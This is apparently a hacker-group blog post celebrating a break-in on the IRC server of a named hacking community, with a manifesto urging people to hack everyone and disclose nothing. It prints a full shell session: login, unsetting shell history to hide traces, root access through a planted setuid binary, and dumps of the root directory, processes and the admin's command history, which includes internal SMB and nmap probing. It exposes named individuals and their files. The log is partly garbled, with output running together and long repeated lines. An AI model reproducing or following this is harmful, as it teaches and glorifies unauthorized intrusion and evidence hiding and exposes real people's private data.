_____ __ _____ ___ _____ ___ _____ _____ _____ _____ _____ _____ _____ _____ ____ _____ _ _ _ _____ | __|| | | | ||_ | | | || | | | __|| __|| __ || | || __|| __ | | || __| | \ | || | | || | | | __|| |__ | | | _| |_ | | | ||_ | |__ || __|| -|| | || __|| -| |- -||__ | | | || | || | | || | | | |_____||_____| \___/ |_____||_|___| |_| |_____||_____||__|__| \___/ |_____||__|__| |_____||_____| |____/ |_____||_____||_|___| I DONT WANT TO BE FAME , I DONT WANT TO BE ANY EZINE , I JUST WANT TO SHARE KNOWLEDGE , ----. ~ Fuck full-disclosure - - ` ~ Fuck the security industry ,__.,' \ ~ Keep 0days private .' *` ~ Hack everyone you can and then hack some more / | | / **\ ~ Blend in. . / ****. ~ Get trusted. | mm | ****| ~ Trust no one. \ | ****| ~ Own everyone. ` ._______ \ ****/ ~ Disclose nothing. \ /`---' ~ Destroy everything. \___( ~ Take back the scene /~~~~\ ~ Never sell out, never surrender. / \ ~ Get in as anonymous, Leave with no trace. / | \ ~ This your Fucking IP | | \ ~ This your Fucking ISP , ~~ . |, ~~ . | |\ ~ FUCK OFF I've got enough friends !!!! ( |||| ) ( |||| )(,,,)` ( |||||| )-( |||||| ) | ^ ( |||||| ) ( |||||| ) |'/ ( |||||| )-( |||||| )___,'- ( |||| ) ( |||| ) ` ~~ ' ` ~~ '

[ Blog ]

[ History ]

HBH owned by someone lol

sub Hellboundhackers { ;;;;;;;;;;;;;;;;;;;;;;;;; my $self = shift; own($self, <<'EOHELLBOUNDHACKERS'

There comes a time for every civilization to come to an end. That end could be
a series of violent conflicts that come in waves, or a slow sputtering out
of interest until it's effectively dead. Occasionally, a community that's slow
to realize that it's out-modded, out-dated, out-gunned and out-classed has to
be helped along to its eventual demise.

Such was the case for HellBoundHackers (HBH). HBH is your typical lamer site.
They have a forum with over 20,000 registered users, lots of stupid articles
that are pointless and don't convey any new information. They also have your
typical administrators that think themselves to be elite hackers. In this case,
despite the name, they're staunchly whitehat advocating "ethical" hacking.
However, MrCheese and his posse also regard themselves as hacktivists and the
self proclaimed saviours of the Internet. They hack websites whose content they
disagree with and post a defacement. Hmm… does anyone else see the
contradiction here?

They also advocate practices such as full-disclosure, and yet they claim to
hate script kiddies. All their "hacking" articles always talk about how you
should code your own exploits. Too bad none of their members has a clue about
how to do that.

The members over on HBH also have the typical narrow whitehat perspective.
Anyone who actually hacks is a script kiddie, regardless of their actual skill
level. This should come as a shock to them…

So, in accordance with the rules of pr0j3kt m4yh3m, it has been decided that
HBH needs to die. This comes for all communities; it is inevitable. You can
try to fight it but you will lose. After all, you don't know us, you only know
of us.

And as Raster so bravley said:

08:22 I dare you all, hack my network, so you can prove a point!

We’ll take that dare Raster. Now, let’s take a look at their IRC network:

$ ssh -p 443 deadlyacid@rasterized.net
deadlyacid@rasterized.net’s password:
Last login: Fri Apr 20 14:15:58 2007 from Z.F.0
[deadlyacid@localhost ~]$ unset HISTFILE ; unset SAVEHIST
[deadlyacid@localhost ~]$ uname -a
Linux localhost.localdomain 2.6.20 #1 Mon May 21 23:20:40 EDT 2007 i686 i686 i386 GNU/Linux
[deadlyacid@localhost ~]$ cat /etc/redhat-release
Fedora Core release 4 (Stentz)
[deadlyacid@localhost ~]$ w
17:10:16 up 3 days, 21:39, 1 user, load average: 0.02, 0.02, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
deadlyac pts/0 Z.F.0 17:09 0.00s 0.03s 0.00s w
[deadlyacid@localhost ~]$ # how boring…
[deadlyacid@localhost ~]$ ls -alh
total 48K
drwxr-xr-x 2 deadlyacid deadlyacid 4.0K Apr 7 21:52 .
drwxr-xr-x 26 strayfe strayfe 4.0K May 14 04:32 ..
-rw——- 1 deadlyacid deadlyacid 2 Apr 7 21:55 .bash_history
-rw-r–r– 1 deadlyacid deadlyacid 24 Sep 13 2006 .bash_logout
-rw-r–r– 1 deadlyacid deadlyacid 191 Sep 13 2006 .bash_profile
-rw-r–r– 1 deadlyacid deadlyacid 124 Sep 13 2006 .bashrc
-rwsr-xr-x 1 root root 4.8K Sep 13 2006 .cshrc
-rw-r–r– 1 deadlyacid deadlyacid 120 Sep 13 2006 .gtkrc
-rw——- 1 root root 612 Apr 7 21:50 .viminfo
-rw-r–r– 1 deadlyacid deadlyacid 658 Sep 13 2006 .zshrc
[deadlyacid@localhost ~]$ cat .bash_history
w
[deadlyacid@localhost ~]$ # Let’s have some fun. :)
[deadlyacid@localhost ~]$ id
uid=508(deadlyacid) gid=508(deadlyacid) groups=508(deadlyacid)
[deadlyacid@localhost ~]$ ./.cshrc
[root@localhost ~]# unset HISTFILE ; unset SAVEHIST
[root@localhost ~]# id
uid=0(root) gid=0(root) groups=508(deadlyacid)
[root@localhost ~]# cd ~root
[root@localhost root]# ls -alh
total 219M
drwxr-x— 36 root root 4.0K May 6 18:14 .
drwxr-xr-x 26 root root 4.0K Jun 5 18:30 ..
-rw-r–r– 1 root root 14M Oct 24 2006 128 Bit Wep Cracking With Injection!.swf
-rw-r–r– 1 root root 1.4M Oct 18 2006 59743444-O.jpg
-rw-r–r– 1 root root 293K Oct 18 2006 all-filters.zip
-rw——- 1 root root 1.6K Jul 4 2006 anaconda-ks.cfg
-rwxr-xr-x 1 root root 5.6K Jul 30 2006 a.out
-rw-r–r– 1 root root 106K Oct 18 2006 ascgen2-0.7.1.zip
-rw-r–r– 1 root root 631K Oct 18 2006 background_1024x768.png
-rw-r–r– 1 root root 470K Oct 18 2006 background.png
-rw——- 1 root root 14K Jun 7 17:36 .bash_history
-rw-r–r– 1 root root 24 Dec 3 2004 .bash_logout
-rw-r–r– 1 root root 241 Jan 24 23:00 .bash_profile
-rw-r–r– 1 root root 176 Dec 3 2004 .bashrc
-rw-r–r– 1 root root 408K Oct 18 2006 body.ai
drwxr-xr-x 2 root root 4.0K Aug 10 2006 config
-rw-r–r– 1 root root 8.0K Oct 18 2006 Constitution.txt
-rw-r–r– 1 root root 100 Dec 3 2004 .cshrc
-rw-rw-r– 1 Raster Raster 1.8M Jul 4 2006 curl-7.15.4.tar.gz
drwxr-xr-x 2 root root 4.0K Nov 3 2006 Desktop
-rw——- 1 root root 24 Feb 4 03:10 .dmrc
drwxr-xr-x 5 1001 wheel 4.0K Oct 13 2006 dsniff-2.3
-rw-r–r– 1 root root 580K May 27 2002 dsniff-2.3.tar
-rw-r–r– 1 root root 124K May 27 2002 dsniff-2.3.tar.gz.1
-rw-r–r– 1 root root 468K Oct 18 2006 Effects.ai
-rw-r–r– 1 root root 62K Oct 18 2006 Effects.png
drwxr-x— 2 root root 4.0K Jul 4 2006 .eggcups
drwx—— 2 root root 4.0K Jan 2 18:46 .elinks
-rw-r–r– 1 root root 280K Oct 18 2006 epsxe160.zip
-rw——- 1 root root 16 Sep 11 2006 .esd_auth
drwxrwxrwx 19 Raster Raster 12K Sep 2 2006 ethereal-0.99.0
-rw-r–r– 1 root root 11M Oct 18 2006 framework-2.6.exe
-rw-r–r– 1 root root 9.2M Oct 18 2006 framework-3.0-beta-1.exe
drwx—— 4 root root 4.0K Mar 21 09:38 .gconf
drwx—— 2 root root 4.0K Mar 21 09:41 .gconfd
drwxr-xr-x 7 root root 4.0K Feb 27 04:29 gd-2.0.34
-rw-r–r– 1 root root 3.6M Feb 6 19:41 gd-2.0.34.tar
drwxr-xr-x 21 root root 4.0K Oct 5 2006 .gimp-2.2
drwxr-xr-x 3 root root 4.0K Jul 4 2006 .gnome
drwx—— 9 root root 4.0K Feb 24 14:14 .gnome2
drwx—— 2 root root 4.0K Jul 4 2006 .gnome2_private
-rw-r–r– 1 root root 476K Aug 12 2006 grub.iso
drwxr-xr-x 2 root root 4.0K Jul 4 2006 .gstreamer-0.8
-rw-r–r– 1 root root 120 May 22 2005 .gtkrc
-rw-r–r– 1 root root 128 Jul 4 2006 .gtkrc-1.2-gnome2
-rw-r–r– 1 root root 688K Oct 18 2006 hldsupdatetool.exe
-rw-rw-r– 1 Raster Raster 6.0M Jul 4 2006 httpd-2.2.2.tar.gz
-rw——- 1 root root 2.3K Feb 24 14:14 .ICEauthority
-rw-r–r– 1 root root 97K Oct 18 2006 img001.jpg
-rw-r–r– 1 root root 16M Oct 18 2006 Immigration3.wmv
-rw-r–r– 1 root root 33K Oct 18 2006 IN CONGRESS.doc
-rw-r–r– 1 root root 62K Jul 4 2006 install.log
-rw-r–r– 1 root root 6.1K Jul 4 2006 install.log.syslog
-rw-r–r– 1 root root 41K Oct 18 2006 Internship quiz .doc
-rw-r–r– 1 root root 1.7K Jul 27 2006 invison_cookie.php
drwx—— 2 root root 4.0K Jan 24 22:12 .irssi
drwxr-xr-x 3 root root 4.0K Aug 12 2006 iso
drwxr-xr-x 3 root root 4.0K Dec 7 2006 jtr
-rw-r–r– 1 root root 92K Jun 4 2005 kernel-module-ntfs-2.6.11-1.1369_FC4-2.1.22-0.rr.6.0.i686.rpm
-rw-r–r– 1 root root 59K Aug 10 2006 KeyGenerator.exe
-rw-r–r– 1 root root 35M Oct 18 2006 KNOPPIX_V5.0.1CD-2006-06-01-EN.iso
-rw-r–r– 1 root root 1.7M Oct 18 2006 KNOPPIX_V5.0.1DVD-2006-06-01-EN.iso
drwx—— 3 root root 4.0K Jul 4 2006 .local
-rwxr-xr-x 1 root root 331 Jan 25 11:01 .login
-rwxr-xr-x 1 root root 5.5K Jul 30 2006 lptout
-rw-r–r– 1 root root 1.2K Jul 30 2006 lptout.c
-rw-r–r– 1 root root 1.2K Jul 30 2006 lptout.c~
drwx—— 3 root root 4.0K Jul 4 2006 .metacity
drwxr-xr-x 3 root root 4.0K Dec 25 05:20 milk
drwxr-xr-x 3 root root 4.0K Jul 16 2006 .mozilla
-rwxr-xr-x 1 root root 996 Jul 26 2006 msn_bot.php
-rw-r–r– 1 root root 19M Jul 4 2006 mysql-5.0.22.tar.gz
-rw-r–r– 1 root root 2.3M Jan 22 22:59 mysql_backup.sql
-rw——- 1 root root 491 Feb 9 16:10 .mysql_history
-rw-rw-r– 1 Raster Raster 41M Jul 4 2006 mysql-max-5.0.22-linux-i686-glibc23.tar.gz
drwxr-xr-x 3 root root 4.0K Jul 4 2006 .nautilus
drwxr-xr-x 2 root root 4.0K Nov 27 2006 .ncftp
-rw-r–r– 1 root root 333K Oct 18 2006 netsvwrap.msi
-rw-r–r– 1 root root 1.1M Oct 18 2006 nmap-4.11-setup.exe
-rw-r–r– 1 root root 80K Oct 18 2006 OggMux-0.9.5.1.zip
drwxr-xr-x 3 root root 4.0K Sep 11 2006 .openoffice.org2.0
-rw-rw-r– 1 Raster Raster 7.8M Jul 4 2006 php-5.1.4.tar.gz
drwxr-xr-x 9 4327 409 4.0K Jan 2 18:53 pine4.64
-rw-r–r– 1 root root 4.1M Jan 2 18:46 pine4.64.tar.gz
-rw-r–r– 1 root root 635K Oct 18 2006 Pj64 Build 52 2001-12-22.zip
-rw-r–r– 1 root root 4.5K Oct 18 2006 podcast.GRF
-rw-r–r– 1 root root 15M Oct 18 2006 podcast.ogg
-rw-r–r– 1 root root 24K Oct 18 2006 preamble words.doc
-rw-r–r– 1 root root 741K Oct 18 2006 prea.wma
-rw-r–r– 1 root root 454K Oct 18 2006 privoxy_setup_3_0_5.exe
-rw-r–r– 1 root root 736K Oct 18 2006 Rasterized_background.ai
-rw-r–r– 1 root root 544K Oct 18 2006 Rasterized_background.png
-rw——- 1 root root 15K Oct 30 2006 .recently-used
drwxr-xr-x 2 root root 4.0K Jan 4 21:57 reg
-rw——- 1 root root 497 Jul 4 2006 .rhn-applet.conf
-rw-r–r– 1 root root 449K Oct 18 2006 Rose.ai
-rw-r–r– 1 root root 609K Oct 18 2006 saminside.zip
-rw-r–r– 1 root root 1019K Oct 18 2006 sc32r240.exe
-rw-r–r– 1 root root 3.1K Oct 18 2006 SCHOLARSHIPADDRESSES.xls
-rw-r–r– 1 root root 322 Jul 30 2006 server.php
drwxr-xr– 6 root root 4.0K Jul 4 2006 serverutils
-rw-r–r– 1 root root 400K Oct 18 2006 Shannon_Kliffmueller_Brush.ai
-rw-r–r– 1 root root 39K Oct 18 2006 Shannon_Kliffmueller_test1.doc
-rw-r–r– 1 root root 4.8K Aug 13 2006 skeleton_botA.php
-rw-r–r– 1 root root 4.8K Aug 13 2006 skeleton_bot_line.php
-rw-r–r– 1 root root 4.8K Aug 13 2006 skeleton_bot^.php
-rw-r–r– 1 root root 4.8K Aug 13 2006 skeleton_bot_.php
-rw-r–r– 1 root root 4.8K Aug 13 2006 skeleton_bot.php
-rw-r–r– 1 root root 1.1M Oct 18 2006 smbat_win32bin_1.0.4.zip
-rw-r–r– 1 root root 167K Oct 18 2006 Sniphere.exe
-rw-r–r– 1 root root 271K Oct 18 2006 sockscapv235bynitrous_EvGnAzOrKoGxSlXc.zip
-rw-r–r– 1 root root 337 Jul 8 2006 somthing
drwx—— 2 root root 4.0K Sep 1 2006 .ssh
drwxr-x— 2 root root 4.0K Apr 14 16:38 .steam
-rw-r–r– 1 root root 714K Oct 18 2006 SteamInstall.exe
-rw-r–r– 1 root root 5.7M Oct 18 2006 stick.fla
-rw-r–r– 1 root root 2.5K Oct 18 2006 stick.swf
-rw-r–r– 1 root root 129 Dec 3 2004 .tcshrc
drwx—— 4 root root 4.0K Jul 16 2006 .thumbnails
-rw-r–r– 1 root root 183 Nov 27 2006 tmp
-rw-r–r– 1 root root 47 Oct 18 2006 Torrent downloaded fromDemonoid.com.txt
-rw-r–r– 1 root root 1.1K Sep 30 2006 torrent.php
drwx—— 6 root root 4.0K Oct 5 2006 .Trash
-rw——- 1 root root 1.1K May 6 18:14 .viminfo
-rw-r–r– 1 root root 2.6M Oct 18 2006 Virtual Chess 64.7z
-rw-r–r– 1 root root 9.8K Oct 18 2006 VolumeC.txt
-rw-r–r– 1 root root 1.2M Oct 18 2006 vti.zip
drwx—— 2 root root 4.0K Feb 24 17:26 .w3m
drwxr-xr-x 2 root root 20K Nov 8 2006 win31d
-rw-r–r– 1 root root 622K Oct 18 2006 winima80.exe
-rw-r–r– 1 root root 8.7M Nov 8 2006 win.iso
-rw-r–r– 1 root root 980K Oct 18 2006 Xeon_10.rar
drwxrwxrwx 11 1005 1005 4.0K Oct 30 2006 xine-lib-1.1.2
-rw-r–r– 1 root root 625K Oct 18 2006 zsnesw142.zip
[root@localhost root]# ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.1 1740 576 ? Ss Jun05 0:01 init [3]
root 2 0.0 0.0 0 0 ? SN Jun05 0:00 [ksoftirqd/0]
root 3 0.0 0.0 0 0 ? S Jun05 0:00 [watchdog/0]
root 4 0.0 0.0 0 0 ? S< Jun05 0:00 [events/0]
root 5 0.0 0.0 0 0 ? S< Jun05 0:00 [khelper]
root 6 0.0 0.0 0 0 ? S< Jun05 0:00 [kthread]
root 56 0.0 0.0 0 0 ? S< Jun05 0:00 [kblockd/0]
root 57 0.0 0.0 0 0 ? S< Jun05 0:00 [kacpid]
root 133 0.0 0.0 0 0 ? S< Jun05 0:00 [ksuspend_usbd]
root 136 0.0 0.0 0 0 ? S< Jun05 0:00 [khubd]
root 138 0.0 0.0 0 0 ? S< Jun05 0:00 [kseriod]
root 158 0.0 0.0 0 0 ? S Jun05 0:00 [pdflush]
root 159 0.0 0.0 0 0 ? S Jun05 0:00 [pdflush]
root 160 0.0 0.0 0 0 ? S< Jun05 0:00 [kswapd0]
root 161 0.0 0.0 0 0 ? S< Jun05 0:00 [aio/0]
root 327 0.0 0.0 0 0 ? S< Jun05 0:00 [kpsmoused]
root 346 0.0 0.0 0 0 ? S< Jun05 0:00 [kmirrord]
root 353 0.0 0.0 0 0 ? S< Jun05 0:00 [ksnapd]
root 366 0.0 0.0 0 0 ? S< Jun05 0:02 [kjournald]
root 817 0.0 0.1 1628 516 ? Sroot 1425 0.0 0.0 0 0 ? S< Jun05 0:00 [kjournald]
root 1737 0.0 0.1 1608 560 ? Ss Jun05 0:00 syslogd -m 0
root 1739 0.0 0.0 1564 392 ? Ss Jun05 0:00 klogd -x
rpc 1756 0.0 0.1 1684 528 ? Ss Jun05 0:00 portmap
rpcuser 1774 0.0 0.1 1732 704 ? Ss Jun05 0:00 rpc.statd
root 1788 0.0 0.0 9852 444 ? Sroot 1792 0.0 0.0 0 0 ? S< Jun05 0:00 [kauditd]
root 1822 0.0 0.0 4376 380 ? Ss Jun05 0:00 rpc.idmapd
root 1835 0.0 0.1 2152 684 ? Ss Jun05 0:00 hcid: processin
root 1839 0.0 0.0 1604 476 ? Ss Jun05 0:00 sdpd
root 1869 0.0 0.0 0 0 ? S< Jun05 0:00 [krfcommd]
root 2030 0.0 0.1 1792 700 ? Ss Jun05 0:00 /usr/sbin/autom
root 2043 0.0 0.1 1784 688 ? Ss Jun05 0:00 /usr/sbin/autom
root 2057 0.0 0.0 2732 440 ? Ss Jun05 0:00 nifd -n
nobody 2088 0.0 0.1 11380 952 ? Ssl Jun05 0:00 mDNSResponder
root 2097 0.0 0.0 1556 464 ? Ss Jun05 0:00 /usr/sbin/acpid
root 2106 0.0 0.3 8232 1872 ? Ss Jun05 0:00 cupsd
root 2176 0.0 0.2 4376 1068 ? Ss Jun05 0:04 /usr/sbin/sshd
ntp 2187 0.0 0.7 4040 4040 ? SLs Jun05 0:00 ntpd -u ntp:ntp
root 2248 0.0 0.2 4376 1248 ? S Jun05 0:00 /bin/sh /usr/bi
mysql 2283 0.1 3.9 115344 20456 ? Sl Jun05 10:04 /usr/libexec/my
nobody 2308 0.0 0.2 5240 1096 ? Ss Jun05 0:00 proftpd: (accep
root 2325 0.0 0.4 7944 2072 ? Ss Jun05 0:00 sendmail: accep
smmsp 2331 0.0 0.3 6948 1668 ? Ss Jun05 0:00 sendmail: Queue
root 2340 0.0 0.0 1772 348 ? Ss Jun05 0:00 gpm -m /dev/inp
root 2348 0.0 0.1 4540 948 ? Ss Jun05 0:00 crond
xfs 2369 0.0 0.2 3356 1492 ? Ss Jun05 0:00 xfs -droppriv –
root 2384 0.0 0.0 1784 432 ? Ss Jun05 0:00 /usr/sbin/atd
dbus 2392 0.0 0.1 2552 852 ? Ss Jun05 0:00 dbus-daemon –s
root 2403 0.0 0.1 2928 968 ? Ss Jun05 0:00 cups-config-dae
root 2412 0.0 0.4 4196 2364 ? Ss Jun05 0:00 hald –retain-p
root 2417 0.0 0.1 2132 692 ? S Jun05 0:00 hald-addon-acpi
root 2433 0.0 0.1 2136 712 ? S Jun05 1:09 hald-addon-stor
root 2437 0.0 0.1 2140 708 ? S Jun05 0:00 hald-addon-stor
root 2449 0.0 0.0 1544 420 tty2 Ss+ Jun05 0:00 /sbin/mingetty
root 2450 0.0 0.0 1548 428 tty3 Ss+ Jun05 0:00 /sbin/mingetty
root 2451 0.0 0.0 1548 428 tty4 Ss+ Jun05 0:00 /sbin/mingetty
root 2452 0.0 0.0 1544 424 tty5 Ss+ Jun05 0:00 /sbin/mingetty
root 2453 0.0 0.0 1544 424 tty6 Ss+ Jun05 0:00 /sbin/mingetty
root 2606 0.0 0.2 4040 1344 ? S Jun05 0:00 ntpd -u ntp:ntp
root 7034 0.0 1.2 14480 6248 ? Ss Jun06 0:00 /www/bin/httpd
daemon 7035 0.0 1.1 14624 6032 ? S Jun06 0:00 /www/bin/httpd
daemon 7036 0.0 1.1 14616 6048 ? S Jun06 0:00 /www/bin/httpd
daemon 7037 0.0 1.1 14720 6052 ? S Jun06 0:00 /www/bin/httpd
daemon 7038 0.0 1.1 14608 5984 ? S Jun06 0:00 /www/bin/httpd
daemon 7039 0.0 1.1 14740 6044 ? S Jun06 0:00 /www/bin/httpd
root 7059 0.0 0.3 8136 1600 ? Ss Jun06 0:00 smbmount \\RAST
root 7071 0.0 0.0 0 0 ? S /dev/null | less
w
screen
ls -l /var/run/screen/
ls -la /var/run/screen/
ls -la `which screen`
id
screen -h
screen -m
screen -r
screen -X id
screen -wipe
w
screen -x
screen -ls
w
talk Raster
write Raster
w
write Raster
mesg
host irc.rmachine.net
tty
w
ssh -l ircd localhost -p 443 -v
ls -la ~ircd/.ssh
ls -la ~ircd/.ssh/*
ls -la ~ircd/.ssh/authorized_keys
chmod uog+r ~ircd/.ssh/authorized_keys
ls -la ~ircd/.ssh/authorized_keys
cat ~ircd/.ssh/authorized_keys
chown ircd ~ircd/.ssh/authorized_keys
w
w
screen -ls
w
who
tty
ps x
w
ps auxww|less
ls /net
ls /mnt
ls /
ls /net/*
ls /net
ls /misc
ls /net/localhost
ls /net/localhost/
uname -a
showmount -e
smbclient -L localhost
smbclient -L
/sbin/arp -en
/sbin/ifconfig
screen -x
w
sudo su –
ls
ls /bin/bash
ls -l /bin/bash
ls -l /sbin/bash
ls -l /tmp/bash
ls -l /dev/bash
locate bash
find / -name “bash”
find / -name “bash” 2>/dev/null
ssh -l ircd localhost -p 443 -v
w
w
mesg
write Raster
write Raster
w
w

ps aux
telnet localhost 6667
/sbin/ifconfig
w
mesg
write Raster
w
w
smbclient -L
smbclient -L localhost
arp -an
/sbin/arp -an
ping 192.168.1.100
ping 192.168.1.101
ping 192.168.1.102
ping 192.168.1.103
/sbin/arp -an
smbclient -L -I 192.168.1.100
smbclient -L xp -I 192.168.1.100
smbclient -L xp -I 192.168.1.101
smbclient -L xp -I 192.168.1.102
smbclient -L xp -I 192.168.1.103
smbclient \\\\RASTERING\\C$ -I 192.168.1.102 -UAdministrator
smbclient \\\\RASTERING\\C$ -I 192.168.1.102 -U Administrator
smbclient \\\\RASTERING\\C$ -I 192.168.1.102 -U Administrator -p
smbclient \\\\RASTERING\\C$ -I 192.168.1.102 -U Administrator -P
smbclient -h
smbclient \\\\RASTERING\\C$ -I 192.168.1.102 -U Administrator -N
smbclient \\\\RASTERING\\C$ -I 192.168.1.102 -U Administrator -n MSHOME -N
smbclient \\\\RASTERING\\C$ -I 192.168.1.102 -U Administrator -n MSHOME
smbclient \\\\KARENMAC\\C$ -I 192.168.1.102 -U Administrator -n WORKGROUP
smbclient -l KARENMAC -I 192.168.1.102 -U Administrator -n WORKGROUP
smbclient -l KARENMAC -I 192.168.1.103
smbclient -l KARENMAC -I 192.168.1.101
smbclient -L KARENMAC -I 192.168.1.101
smbclient -L KARENMAC -I 192.168.1.102
smbclient -L KARENMAC -I 192.168.1.103
smbclient -L KARENMAC -I 192.168.1.104
smbclient -L KARENMAC -I 192.168.1.105
smbclient -L KARENMAC -I 192.168.1.102 -U Administrator -n WORKGROUP
smbclient -L KARENMAC -I 192.168.1.103 -U Administrator -n WORKGROUP
smbclient -L KARENMAC -I 192.168.1.102 -U Administrator -n WORKGROUP
w
w
w
top
ps auxww | grep Raster
ps auxww | grep vnc
echo $DISPLAY
xconsole
xconsole
xconsole
xhost
xhost +
xconsole
who
w
ps auxww | grep Raster
/usr/bin/gnome-session
w
w
smbclient -L xp -I 192.168.1.102
smbclient -L xp -I 192.168.1.102
smbclient -L KARENMAC -I 192.168.1.102 -U Administrator -n WORKGROUP
smbclient -L xp -I 192.168.1.100
smbclient -L xp -I 192.168.1.101
smbclient -L xp -I 192.168.1.102
smbclient -L xp -I 192.168.1.103
smbclient -L xp -I 192.168.1.104
smbclient -L xp -I 192.168.1.105
smbclient -L RASTERING -I 192.168.1.102
smbclient \\\\RASTERING\\C$ -I 192.168.1.102
smbclient \\\\RASTERING\\C$ -I 192.168.1.102 -U Administrator
man smbclient
smbclient \\\\RASTERING\\C$ -I 192.168.1.102 -U Administrator -W mshome
smbclient -L RASTERING -I 192.168.1.102
smbclient \\\\RASTERING\\C$ -I 192.168.1.102 -U Administrator -W RASTERING
smbclient \\\\RASTERING\\C$ -I 192.168.1.102 -U Administrator -N RASTERING
smbclient \\\\RASTERING\\C$ -I 192.168.1.102 -U Administrator -n RASTERING
smbclient \\\\RASTERING\\C$ -I 192.168.1.102 -U RASTERING\Administrator
smbclient \\\\RASTERING\\C$ -I 192.168.1.102 -U RASTERING\Administrator -N
smbclient -L RASTERING -I 192.168.1.102
smbclient \\\\RASTERING\\Shared -I 192.168.1.102 -U RASTERING\Administrator -N
smbclient -L RASTERING -I 192.168.1.102
smbclient -h
lpq
lpstat
smbclient \\\\RASTERING\\C$ -I 192.168.1.102 -U Raster -n RASTERING
smbclient \\\\RASTERING\\C$ -I 192.168.1.102 -U Raster -n RASTERING
smbclient \\\\RASTERING\\C$ -I 192.168.1.102 -U Raster -n RASTERING
smbclient -L RASTERING -I 192.168.1.102 -U Raster
smbclient \\\\RASTERING\\G$ -I 192.168.1.102 -U Administrator -W RASTERING
smbclient \\\\RASTERING\\G$ -I 192.168.1.102 -U Administrator -W RASTERING -N
smbclient \\\\RASTERING\\G$ -I 192.168.1.102 -U Administrator -W RASTERING -p
smbclient \\\\RASTERING\\G$ -I 192.168.1.102 -U Administrator -W RASTERING -P
smbclient \\\\RASTERING\\G$ -I 192.168.1.102 -U Administrator -W RASTERING -k
smbclient -L RASTERING -I 192.168.1.102 -U Raster -k
smbclient -L RASTERING -I 192.168.1.103 -U Raster -k
smbclient -L RASTERING -I 192.168.1.101 -U Raster -k
/sbin/arp -ae
smbclient -L RASTERING -I 192.168.1.100 -U Raster -k
ping -b 192.168.1.255
/sbin/arp -ae
smbclient -L RASTERING -I 192.168.1.181 -U Raster
telnet 192.168.1.181
telnet 192.168.1.181 80
telnet 192.168.1.181 6667
telnet 192.168.1.181 22
telnet 192.168.1.181 21
telnet 192.168.1.181 8000
telnet 192.168.1.181 8080
telnet 192.168.1.181 567
nmap
nmap 192.168.1.181
nmap 192.168.1.181 -P0
nmap 192.168.1.0/24
nmap 192.168.1.0/24
lynx 192.168.1.104:8080
elinks 192.168.1.104:8080
nmap 192.168.1.0/24
elinks 192.168.1.102:8000
nmap 192.168.1.0/24
nmap 192.168.1.0/24 -v
elinks 192.168.1.1
w
xchat
firefox
mozilla
man -k sniff
ls /home
ls /home/Raster/
ls -al /home/Raster/
ls -al /home/Raster/.mozilla/
ls -al /home/Raster/.mozilla/firefox/
less /home/Raster/.mozilla/firefox/profiles.ini
ls -al /home/Raster/.mozilla/firefox/
ls -al /home/Raster/
echo $DISPLAY
firefox
echo $DISPLAY
export DISPLAY=localhost:10.0
firefox
ps x
firefox
export DISPLAY localhost:10.0
export DISPLAY=localhost:10.0
echo $DISPLAY
export DISPLAY=localhost:10
firefox
export DISPLAY=localhost:11
firefox
xconsole
xconsole
xterm
w
write root
w
w
w
w
w
w
w
w
w
w
w
w
broadcast
/sbin/broadcast
/usr/sbin/broadcast
/usr/local/sbin/broadcast
find / -name “*broad*”
find / -name “*broad*” 2> /dev/null
wall
fg
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
screen -x
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
ls -l /usr/bin/screen
